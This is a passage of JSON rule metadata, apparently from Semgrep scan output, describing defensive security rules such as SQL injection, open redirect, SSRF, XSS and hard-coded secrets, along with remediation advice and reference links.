Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.angular.security.detect-angular-trust-as-css.detect-angular-trust-as-css-method"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site."},"help":{"markdown":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.redirect.open-redirect.open-redirect)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site."},"helpUri":"https://semgrep.dev/r/java.micronaut.redirect.open-redirect.open-redirect","id":"java.micronaut.redirect.open-redirect.open-redirect","name":"java.micronaut.redirect.open-redirect.open-redirect","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.redirect.open-redirect.open-redirect"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"File creation in shared tmp directory without using ioutil.Tempfile"},"help":{"markdown":"File creation in shared tmp directory without using ioutil.Tempfile\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.bad_tmp.bad-tmp-file-creation)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"File creation in shared tmp directory without using ioutil.Tempfile"},"helpUri":"https://semgrep.dev/r/go.lang.security.bad_tmp.bad-tmp-file-creation","id":"go.lang.security.bad_tmp.bad-tmp-file-creation","name":"go.lang.security.bad_tmp.bad-tmp-file-creation","properties":{"precision":"very-high","tags":["CWE-377: Insecure Temporary File","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.bad_tmp.bad-tmp-file-creation"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of $sce.trustAsHtml can be dangerous if unsanitized user input flows through this API."},"help":{"markdown":"The use of $sce.trustAsHtml can be dangerous if unsanitized user input flows through this API.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.angular.security.detect-angular-trust-as-html-method.detect-angular-trust-as-html-method)\n - [https://docs.angularjs.org/api/ng/service/$sce#trustAsHtml](https://docs.angularjs.org/api/ng/service/$sce#trustAsHtml)\n - [https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf](https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf)\n","text":"The use of $sce.trustAsHtml can be dangerous if unsanitized user input flows through this API."},"helpUri":"https://semgrep.dev/r/javascript.angular.security.detect-angular-trust-as-html-method.detect-angular-trust-as-html-method","id":"javascript.angular.security.detect-angular-trust-as-html-method.detect-angular-trust-as-html-method","name":"javascript.angular.security.detect-angular-trust-as-html-method.detect-angular-trust-as-html-method","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.angular.security.detect-angular-trust-as-html-method.detect-angular-trust-as-html-method"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The regular expression identified appears vulnerable to Regular Expression Denial of Service (ReDoS) through catastrophic backtracking. If the input is attacker controllable, this vulnerability can lead to systems being non-responsive or may crash due to ReDoS. Where possible, re-write the regex so as not to leverage backtracking or use a library that offers default protection against ReDoS."},"help":{"markdown":"The regular expression identified appears vulnerable to Regular Expression Denial of Service (ReDoS) through catastrophic backtracking. If the input is attacker controllable, this vulnerability can lead to systems being non-responsive or may crash due to ReDoS. Where possible, re-write the regex so as not to leverage backtracking or use a library that offers default protection against ReDoS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.regex.tainted-regex-stdlib-django.tainted-regex-stdlib-django)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html)\n - [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)\n - [https://www.regular-expressions.info/catastrophic.html](https://www.regular-expressions.info/catastrophic.html)\n","text":"The regular expression identified appears vulnerable to Regular Expression Denial of Service (ReDoS) through catastrophic backtracking. If the input is attacker controllable, this vulnerability can lead to systems being non-responsive or may crash due to ReDoS. Where possible, re-write the regex so as not to leverage backtracking or use a library that offers default protection against ReDoS."},"helpUri":"https://semgrep.dev/r/python.django.regex.tainted-regex-stdlib-django.tainted-regex-stdlib-django","id":"python.django.regex.tainted-regex-stdlib-django.tainted-regex-stdlib-django","name":"python.django.regex.tainted-regex-stdlib-django.tainted-regex-stdlib-django","properties":{"precision":"very-high","tags":["CWE-1333: Inefficient Regular Expression Complexity","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.regex.tainted-regex-stdlib-django.tainted-regex-stdlib-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"No slippage check in a Uniswap v2/v3 trade"},"help":{"markdown":"No slippage check in a Uniswap v2/v3 trade\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.no-slippage-check.no-slippage-check)\n - [https://uniswapv3book.com/docs/milestone_3/slippage-protection/](https://uniswapv3book.com/docs/milestone_3/slippage-protection/)\n","text":"No slippage check in a Uniswap v2/v3 trade"},"helpUri":"https://semgrep.dev/r/solidity.security.no-slippage-check.no-slippage-check","id":"solidity.security.no-slippage-check.no-slippage-check","name":"solidity.security.no-slippage-check.no-slippage-check","properties":{"precision":"very-high","tags":["CWE-682: Incorrect Calculation","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.no-slippage-check.no-slippage-check"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Deserialization of a string tainted by `event` object found. Objects in Ruby can be serialized into strings, then later loaded from strings. However, uses of `load` can cause remote code execution. Loading user input with MARSHAL, YAML or CSV can potentially be dangerous. If you need to deserialize untrusted data, you should use JSON as it is only capable of returning 'primitive' types such as strings, arrays, hashes, numbers and nil."},"help":{"markdown":"Deserialization of a string tainted by `event` object found. Objects in Ruby can be serialized into strings, then later loaded from strings. However, uses of `load` can cause remote code execution. Loading user input with MARSHAL, YAML or CSV can potentially be dangerous. If you need to deserialize untrusted data, you should use JSON as it is only capable of returning 'primitive' types such as strings, arrays, hashes, numbers and nil.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.aws-lambda.security.tainted-deserialization.tainted-deserialization)\n - [https://ruby-doc.org/core-3.1.2/doc/security_rdoc.html](https://ruby-doc.org/core-3.1.2/doc/security_rdoc.html)\n - [https://groups.google.com/g/rubyonrails-security/c/61bkgvnSGTQ/m/nehwjA8tQ8EJ](https://groups.google.com/g/rubyonrails-security/c/61bkgvnSGTQ/m/nehwjA8tQ8EJ)\n - [https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_deserialize.rb](https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_deserialize.rb)\n","text":"Deserialization of a string tainted by `event` object found. Objects in Ruby can be serialized into strings, then later loaded from strings. However, uses of `load` can cause remote code execution. Loading user input with MARSHAL, YAML or CSV can potentially be dangerous. If you need to deserialize untrusted data, you should use JSON as it is only capable of returning 'primitive' types such as strings, arrays, hashes, numbers and nil."},"helpUri":"https://semgrep.dev/r/ruby.aws-lambda.security.tainted-deserialization.tainted-deserialization","id":"ruby.aws-lambda.security.tainted-deserialization.tainted-deserialization","name":"ruby.aws-lambda.security.tainted-deserialization.tainted-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.aws-lambda.security.tainted-deserialization.tainted-deserialization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use prepared statements with the 'Prepare' and 'PrepareContext' calls."},"help":{"markdown":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use prepared statements with the 'Prepare' and 'PrepareContext' calls.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.aws-lambda.security.database-sqli.database-sqli)\n - [https://pkg.go.dev/database/sql#DB.Query](https://pkg.go.dev/database/sql#DB.Query)\n","text":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use prepared statements with the 'Prepare' and 'PrepareContext' calls."},"helpUri":"https://semgrep.dev/r/go.aws-lambda.security.database-sqli.database-sqli","id":"go.aws-lambda.security.database-sqli.database-sqli","name":"go.aws-lambda.security.database-sqli.database-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.aws-lambda.security.database-sqli.database-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `wkhtmltoimage` it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `wkhtmltoimage` it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.wkhtmltoimage.security.audit.wkhtmltoimage-injection.wkhtmltoimage-injection)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"If unverified user data can reach the `wkhtmltoimage` it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.wkhtmltoimage.security.audit.wkhtmltoimage-injection.wkhtmltoimage-injection","id":"javascript.wkhtmltoimage.security.audit.wkhtmltoimage-injection.wkhtmltoimage-injection","name":"javascript.wkhtmltoimage.security.audit.wkhtmltoimage-injection.wkhtmltoimage-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.wkhtmltoimage.security.audit.wkhtmltoimage-injection.wkhtmltoimage-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using non-constant TwiML (Twilio Markup Language) argument when creating a Twilio conversation could allow the injection of additional TwiML commands"},"help":{"markdown":"Using non-constant TwiML (Twilio Markup Language) argument when creating a Twilio conversation could allow the injection of additional TwiML commands\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.twilio.security.twiml-injection.twiml-injection)\n - [https://codeberg.org/fennix/funjection](https://codeberg.org/fennix/funjection)\n","text":"Using non-constant TwiML (Twilio Markup Language) argument when creating a Twilio conversation could allow the injection of additional TwiML commands"},"helpUri":"https://semgrep.dev/r/python.twilio.security.twiml-injection.twiml-injection","id":"python.twilio.security.twiml-injection.twiml-injection","name":"python.twilio.security.twiml-injection.twiml-injection","properties":{"precision":"very-high","tags":["CWE-91: XML Injection","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.twilio.security.twiml-injection.twiml-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected a tainted SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Avoid using using user input for generating SQL strings."},"help":{"markdown":"Detected a tainted SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Avoid using using user input for generating SQL strings.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.play.security.tainted-slick-sqli.tainted-slick-sqli)\n - [https://scala-slick.org/doc/3.3.3/sql.html#splicing-literal-values](https://scala-slick.org/doc/3.3.3/sql.html#splicing-literal-values)\n - [https://scala-slick.org/doc/3.2.0/sql-to-slick.html#non-optimal-sql-code](https://scala-slick.org/doc/3.2.0/sql-to-slick.html#non-optimal-sql-code)\n","text":"Detected a tainted SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Avoid using using user input for generating SQL strings."},"helpUri":"https://semgrep.dev/r/scala.play.security.tainted-slick-sqli.tainted-slick-sqli","id":"scala.play.security.tainted-slick-sqli.tainted-slick-sqli","name":"scala.play.security.tainted-slick-sqli.tainted-slick-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: scala.play.security.tainted-slick-sqli.tainted-slick-sqli"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Translated strings will not be escaped when rendered in a template. This leads to a vulnerability where translators could include malicious script tags in their translations. Consider using `force_escape` to explicitly escape a translated text."},"help":{"markdown":"Translated strings will not be escaped when rendered in a template. This leads to a vulnerability where translators could include malicious script tags in their translations. Consider using `force_escape` to explicitly escape a translated text.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.xss.template-translate-as-no-escape.template-translate-as-no-escape)\n - [https://edx.readthedocs.io/projects/edx-developer-guide/en/latest/preventing_xss/preventing_xss_in_django_templates.html#html-escaping-translations-in-django-templates](https://edx.readthedocs.io/projects/edx-developer-guide/en/latest/preventing_xss/preventing_xss_in_django_templates.html#html-escaping-translations-in-django-templates)\n - [https://docs.djangoproject.com/en/3.1/topics/i18n/translation/#internationalization-in-template-code](https://docs.djangoproject.com/en/3.1/topics/i18n/translation/#internationalization-in-template-code)\n","text":"Translated strings will not be escaped when rendered in a template. This leads to a vulnerability where translators could include malicious script tags in their translations. Consider using `force_escape` to explicitly escape a translated text."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.xss.template-translate-as-no-escape.template-translate-as-no-escape","id":"python.django.security.audit.xss.template-translate-as-no-escape.template-translate-as-no-escape","name":"python.django.security.audit.xss.template-translate-as-no-escape.template-translate-as-no-escape","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.xss.template-translate-as-no-escape.template-translate-as-no-escape"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.peewee.python-peewee-hardcoded-database-password-uri.python-peewee-hardcoded-database-password-uri)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.peewee.python-peewee-hardcoded-database-password-uri.python-peewee-hardcoded-database-password-uri","id":"python.peewee.python-peewee-hardcoded-database-password-uri.python-peewee-hardcoded-database-password-uri","name":"python.peewee.python-peewee-hardcoded-database-password-uri.python-peewee-hardcoded-database-password-uri","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.peewee.python-peewee-hardcoded-database-password-uri.python-peewee-hardcoded-database-password-uri"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS Workspace root volume is unencrypted. The AWS KMS encryption key protects root volume. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"help":{"markdown":"The AWS Workspace root volume is unencrypted. The AWS KMS encryption key protects root volume. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-workspaces-root-volume-unencrypted.aws-workspaces-root-volume-unencrypted)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The AWS Workspace root volume is unencrypted. The AWS KMS encryption key protects root volume. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-workspaces-root-volume-unencrypted.aws-workspaces-root-volume-unencrypted","id":"terraform.aws.security.aws-workspaces-root-volume-unencrypted.aws-workspaces-root-volume-unencrypted","name":"terraform.aws.security.aws-workspaces-root-volume-unencrypted.aws-workspaces-root-volume-unencrypted","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-workspaces-root-volume-unencrypted.aws-workspaces-root-volume-unencrypted"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The RSA key size $SIZE is insufficent by NIST standards. It is recommended to use a key length of 2048 or higher."},"help":{"markdown":"The RSA key size $SIZE is insufficent by NIST standards. It is recommended to use a key length of 2048 or higher.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.insufficient-rsa-key-size.insufficient-rsa-key-size)\n - [https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57Pt3r1.pdf](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57Pt3r1.pdf)\n","text":"The RSA key size $SIZE is insufficent by NIST standards. It is recommended to use a key length of 2048 or higher."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.insufficient-rsa-key-size.insufficient-rsa-key-size","id":"ruby.lang.security.insufficient-rsa-key-size.insufficient-rsa-key-size","name":"ruby.lang.security.insufficient-rsa-key-size.insufficient-rsa-key-size","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.insufficient-rsa-key-size.insufficient-rsa-key-size"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.actix.sql.tokio-postgres-taint.tokio-postgres-taint)\n - [https://docs.rs/tokio-postgres/latest/tokio_postgres/](https://docs.rs/tokio-postgres/latest/tokio_postgres/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/rust.actix.sql.tokio-postgres-taint.tokio-postgres-taint","id":"rust.actix.sql.tokio-postgres-taint.tokio-postgres-taint","name":"rust.actix.sql.tokio-postgres-taint.tokio-postgres-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.actix.sql.tokio-postgres-taint.tokio-postgres-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found a template created with string formatting. This is susceptible to server-side template injection and cross-site scripting attacks."},"help":{"markdown":"Found a template created with string formatting. This is susceptible to server-side template injection and cross-site scripting attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.audit.render-template-string.render-template-string)\n - [https://nvisium.com/blog/2016/03/09/exploring-ssti-in-flask-jinja2.html](https://nvisium.com/blog/2016/03/09/exploring-ssti-in-flask-jinja2.html)\n","text":"Found a template created with string formatting. This is susceptible to server-side template injection and cross-site scripting attacks."},"helpUri":"https://semgrep.dev/r/python.flask.security.audit.render-template-string.render-template-string","id":"python.flask.security.audit.render-template-string.render-template-string","name":"python.flask.security.audit.render-template-string.render-template-string","properties":{"precision":"very-high","tags":["CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.audit.render-template-string.render-template-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Application redirects a user to a destination URL specified by a user supplied parameter that is not validated."},"help":{"markdown":"Application redirects a user to a destination URL specified by a user supplied parameter that is not validated.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.audit.spring-unvalidated-redirect.spring-unvalidated-redirect)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Application redirects a user to a destination URL specified by a user supplied parameter that is not validated."},"helpUri":"https://semgrep.dev/r/java.spring.security.audit.spring-unvalidated-redirect.spring-unvalidated-redirect","id":"java.spring.security.audit.spring-unvalidated-redirect.spring-unvalidated-redirect","name":"java.spring.security.audit.spring-unvalidated-redirect.spring-unvalidated-redirect","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.audit.spring-unvalidated-redirect.spring-unvalidated-redirect"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Some Microsoft services that interact with storage accounts operate from networks that can't be granted access through network rules. To help this type of service work as intended, allow the set of trusted Microsoft services to bypass the network rules"},"help":{"markdown":"Some Microsoft services that interact with storage accounts operate from networks that can't be granted access through network rules. To help this type of service work as intended, allow the set of trusted Microsoft services to bypass the network rules\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.storage.storage-allow-microsoft-service-bypass.storage-allow-microsoft-service-bypass)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/storage_account#bypass](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/storage_account#bypass)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/storage_account_network_rules#bypass](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/storage_account_network_rules#bypass)\n - [https://docs.microsoft.com/en-us/azure/storage/common/storage-network-security#trusted-microsoft-services](https://docs.microsoft.com/en-us/azure/storage/common/storage-network-security#trusted-microsoft-services)\n","text":"Some Microsoft services that interact with storage accounts operate from networks that can't be granted access through network rules. To help this type of service work as intended, allow the set of trusted Microsoft services to bypass the network rules"},"helpUri":"https://semgrep.dev/r/terraform.azure.security.storage.storage-allow-microsoft-service-bypass.storage-allow-microsoft-service-bypass","id":"terraform.azure.security.storage.storage-allow-microsoft-service-bypass.storage-allow-microsoft-service-bypass","name":"terraform.azure.security.storage.storage-allow-microsoft-service-bypass.storage-allow-microsoft-service-bypass","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.storage.storage-allow-microsoft-service-bypass.storage-allow-microsoft-service-bypass"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.cryptoswift.hkdf-hardcoded-secret.hkdf-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/swift.cryptoswift.hkdf-hardcoded-secret.hkdf-hardcoded-secret","id":"swift.cryptoswift.hkdf-hardcoded-secret.hkdf-hardcoded-secret","name":"swift.cryptoswift.hkdf-hardcoded-secret.hkdf-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.cryptoswift.hkdf-hardcoded-secret.hkdf-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A parameter being passed directly into `fromURL` most likely lead to SSRF. This could allow an attacker to send data to their own server, potentially exposing sensitive data sent with this request. They could also probe internal servers or other resources that the server running this code can access. Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host."},"help":{"markdown":"A parameter being passed directly into `fromURL` most likely lead to SSRF. This could allow an attacker to send data to their own server, potentially exposing sensitive data sent with this request. They could also probe internal servers or other resources that the server running this code can access. Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.io-source-ssrf.io-source-ssrf)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n - [https://www.scala-lang.org/api/current/scala/io/Source$.html#fromURL(url:java.net.URL)(implicitcodec:scala.io.Codec):scala.io.BufferedSource](https://www.scala-lang.org/api/current/scala/io/Source$.html#fromURL(url:java.net.URL)(implicitcodec:scala.io.Codec):scala.io.BufferedSource)\n","text":"A parameter being passed directly into `fromURL` most likely lead to SSRF. This could allow an attacker to send data to their own server, potentially exposing sensitive data sent with this request. They could also probe internal servers or other resources that the server running 